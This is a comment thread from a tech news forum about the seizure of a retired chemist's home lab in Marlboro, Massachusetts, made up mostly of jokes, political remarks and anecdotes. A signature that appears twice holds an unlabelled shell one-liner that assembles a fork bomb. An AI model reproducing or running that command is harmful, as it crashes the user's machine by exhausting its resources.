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Home Science Under Attack In Massachusetts
An anonymous reader tips a guest posting up on the MAKE Magazine blog by the author of the Illustrated Guide to Home Chemistry Experiments. It seems that authorities in Massachusetts have raided a home chemistry lab, apparently without a warrant, and made off with all of its contents. Here's the local article from the Worcester Telegram & Gazette. "Victor Deeb, a retired chemist who lives in Marlboro, has finally been allowed to return to his Fremont Street home, after Massachusetts authorities spent three days ransacking his basement lab and making off with its contents. Deeb is not accused of making methamphetamine or other illegal drugs. He's not accused of aiding terrorists, synthesizing explosives, nor even of making illegal fireworks. Deeb fell afoul of the Massachusetts authorities for... doing experiments... Pamela Wilderman, the code enforcement officer for [the Massachusetts town of] Marlboro stated, 'I think Mr. Deeb has crossed a line somewhere. This is not what we would consider to be a customary home occupation.' Allow me to translate Ms. Wilderman's words into plain English: 'Mr. Deeb hasn't actually violated any law or regulation that I can find, but I don't like what he's doing because I'm ignorant and irrationally afraid of chemicals, so I'll abuse my power to steal his property and shut him down.'"
...and they need to be put in their place.
Which is 6 feet under, IMO.
post it on slashdot?
Do you even lift?
These aren't the 'roids you're looking for.
"The two most common elements in the universe are Hydrogen and stupidity." -Harlan Ellison
Stupidity is more than happy to cross party lines.
That's why we now have freedom fries. So don't worry, you'll still be able to get your USDA recommended amount of freedom.
The world is made by those who show up for the job.
Amen to that! Wait a minute...
"Never let your sense of morals prevent you from doing what is right" - Salvor Hardin
After all, who knows when you might accidentally violate the laws of equivalent exchange and lose an arm...
At least he will be able to get a better home lab after he brings this to court.
Well Richard, it seems my fellow Texans have been slacking! Let me just take a few minutes to tell you about Jesus, and the wonderful sacrifice he made for you...
Only joking, of course. I'm not from Texas.
Your brain is not a computer.
That is soo 1970's... Its now better living through pharmacology.
Sad, we got a pill for that
tired, we got a pill for that
sick, we got a pill for that
taking too many pills, we got a pill for that.
What are we going to do tonight Brain?
I can't believe that the FBI wouldn't step into this to defend this man. After all, they're under a presidential administration that has, to date, been so pro-science.
Oh wait.
SJW: Someone who has run out of real oppression, and has to fake it.
yeh, but most people aren't busy stockpiling vast quantities of dihydrogen-monoxide and hydrohydroxic acid!
in this case, i think the emergency actions were needed.
Well I usually keep several 5 gallon bottles of the stuff in my dining area and one on a dispenser so I guess the cops are coming for me next.
all your base are belong to us, and your acids too.
the real question is whether the US's current direction will change after the election. I have a feeling that even if Obama wins, it won't be easy to turn around the train...
—Men in Black
Yeah, that stuff is dangerous! We need to stop it RIGHT NOW!
Think of the children! They might get EXPOSED to these vile chemicals.
Call your congressman!
Yes, except that the original problem was a HVAC fire upstairs. They didn't bust in just to raid his lab.
I'm not saying what they did was right, but I understand the why of it. 1500+ containers of various chemicals on the furniture and floor doesn't sound like a nice cleanly labeled lab. I can imagine what 'most' folks would think when they see such a site.
In this day and age, he's pretty fortunate they didn't Patriot Act his ass just to be on the safe side.
Recruiting for the navy, perhaps? Maybe advertising for the YMCA?
I take it you missed the part that said Allow me to translate Ms. Wilderman's words into plain English:
I live in Houston, deep in the "Bible Belt", where there is a church every half mile.
Is that all? Here in South Carolina, I really think it is a status symbol to have your own church, because there are 3 on every corner.
Being a spelling & grammar Nazi is a sign you do not poses the intelligence to contribute to the conversation
"The two most common elements in the universe are Hydrogen and stupidity."
I'm not so sure. If this was really the case then given our locally oxygen rich environment you'd expect one to cancel out the other. This suggests that the relative abundance of stupidity greatly exceeds that of hydrogen.
DHMO KILLS!
Coding with assembly is like playing with Legos. Coding an application in assembly is like building a car with Legos.
I don't this this science stuff is going to be a problem
Apparently that grammar stuff isn't a problem anymore right now.
3 on every corner!? Is this some kind of trick physics question? Are they stacked on top of one another? It's south carolina so... is it segregated by floor or something? "best" race gets 2nd floor, "ok" race gets 1st floor and the one no one likes is in the basement? That doesn't sound very christian. There must be another arrangement...
I know, maybe they're shaped into triangles and they're all built next to each other and they each meet at a point right on the corner of the intersection. So you've got a trinity of triangular churches all in one place. What could be holier?
Or maybe it's a four dimensional question. One building, but three different denominations use it at different times.
Regardless of how they're arranged... I'm confused.
You are using English. Please learn the difference between loose and lose; they're, there, and their; your and you're.
If you don't like the freedom fries, might I suggest the freedom toast? It's delicious - I had some for breakfast this morning.
Loose things are easy to lose. You're getting your hair cut. They're going there to see their aunt.
Yes, and notice the intentionally vague items list. A "flask heater"? An "adapter tube"? A "transformer"?!?!
The whole idea here is apparently to make EVERYONE in TX a criminal, so that they can be charged with *something* any time the pigs want to....
But as long as you carry at least one gun with you at all times, then you're OK, right? And the gun rack on the back of your pickup truck scores double, I've heard...
Damn_registrars has no butt-hole. Damn_registrars has no use for a butt-hole.
An Erlenmeyer Flask? Are they kidding? I used to have one as a flower vase! Thank goodness I live in MA. Oh. Wait.
And on the fourth corner, there is a bar with a sign out front that says "No loitering by order of the Pope."
You cannot truly appreciate Dilbert until you read it in the original Klingon.
An armed man can mix whatever chemicals he damn well pleases.
You can give the distances in cubits if it's easier for you, I'm sure someone will post the conversion.
echo -e 'global _start\n _start:\n mov eax, 2\n int 80h\n jmp _start' > a.asm; nasm a.asm -f elf; ld a.o -o a;
Finding a small government candidate is nearly impossible now.
Stalin was 5ft 1 inch.
echo -e 'global _start\n _start:\n mov eax, 2\n int 80h\n jmp _start' > a.asm; nasm a.asm -f elf; ld a.o -o a;
It's Massachusetts. We don't like your science and technology very much over here.
You know, after ten years of living here, I still tell people I'm "originally from Maine" so as not to get lumped in...
09
Sure the kits are dumb downed
I'm going to give you the benefit of the doubt and take that to mean "crashed into a sea of dumb".
Do you propose I play with it in a balloon indoors? If I get arrested for doing something stupid, I'd feel a little better knowing my family won't get soaked in the next rainstorm because I blew the roof off the house.
The above is pretty funny, for certain values of "it"... I mean, you soaked your family? Blew the roof off the house?? Dude...
Bow-ties are cool.
Wait till they start to explain how the Trinity works...
And Libraries!!! those amoral dens of SIN and contempt!!
[me ducks]
How amazed would you be to suddenly find that you just forgot what I wrote and you needed to reread my post.... again.
Probably the best teacher I ever had was a Chemistry professor at the University of Washington. "Wild" Bill Zollar. Fantastic storyteller. Anyway, he was telling us about his time as an undergrad at the University of Alaska. He was majoring in Chemistry to he could graduate in time to take a trip he'd won to Hawaii. Well, he ended up being responsible for reacting left over WWII sodium metal to get rid of it. As we all know sodium metal + water = exothermic and sometimes BOOM. (This is how we knew this would be a good story.) So he and his TA are up late doing this. And the TA says "Hey want to see something cool?" So they take a chunk of sodium metal and throw it in a fountain. BOOM! Splash. Yay! So the TA says, more or less, "Ok goodnight. Have fun doing this increadibly tedious job, unsupervised, by yourself, in the middle of the night, in the middle of nowhere. I'm sure nothing will go awry." So here he is with untold kgs of sodium metal, reacting little slices of it with water. There's no one to go ride bikes with, and he's a smart young man with apparently poor impulse control. So he soaks some rags in oil, and wraps up a few bricks of sodium metal. Binds them up. Puts them in his car and proceeds to drive out to the nearest dam. So he stops the car over the water, tosses the parcel off and proceeds to drive away. Nothings happening, "Mission Accomplished." Before he gets across the water a 400 foot column of flame which must have lit up his car is busy burning down some guys outhouse on the bank behind him. Of course he went on to do other things, like thermite a trolly to it's tracks outside Harvard while he was at MIT, and then all kinds of important and extremely valuable work.
He's lucky they didn't hang him as a witch.
An armed man can mix whatever chemicals he damn well pleases.
Well of course--it's quite hard for someone to mix chemicals if he has no arms...
None of the materials found at 81 Fremont St. posed a radiological or biological risk, according to the state Department of Environmental Protection. No mercury or poison was found. Some of the compounds are potentially explosive, but no more dangerous than typical household cleaning products. (From the newspaper article)
Despite this admission from the authorities, they STILL stole his property. And you pro-government people are saying they had the right?
Morons.
Gun control: The belief that a woman, raped and strangled with her panties, is morally superior to a dead rapist.
Thats pretty much what the article said, "I think Mr. Deeb has crossed a line somewhere. This is not what we would consider to be a customary home occupation". So anyone who doesn't have a "normal" hobby is going to be raided by the Man?
I live in Massachusetts, so is the police going to come to my house and raid it and steal all my stuff because ham radio isn't considered a "customary home occupation"? How about servers, are they going to take all my servers and say running servers isn't considered a "customary home occupation"?
Variant records.
Quidnam Latine loqui modo coepi?
Here's the local article from Worcester...
See how bad things have gotten? In today's climate, they'd never have been ABLE to invent Worcester-shire Sauce.
Any technology distinguishable from magic is insufficiently advanced.
Man, would I be pissed if I ran into that.... :-D
Check out my sci-fi/humor trilogy at PatriotsBooks.
Three different buildings!? LUXURY! We have to fit all our denominations into one building with three different altars!
But try to explain that to the kids today...
Cooking is actually an advanced version of chemistry.
In my kitchen, cooking is a form of alchemy:
I'm a chemistry,
Are you, now. I'm a skepticism.
sudo ergo sum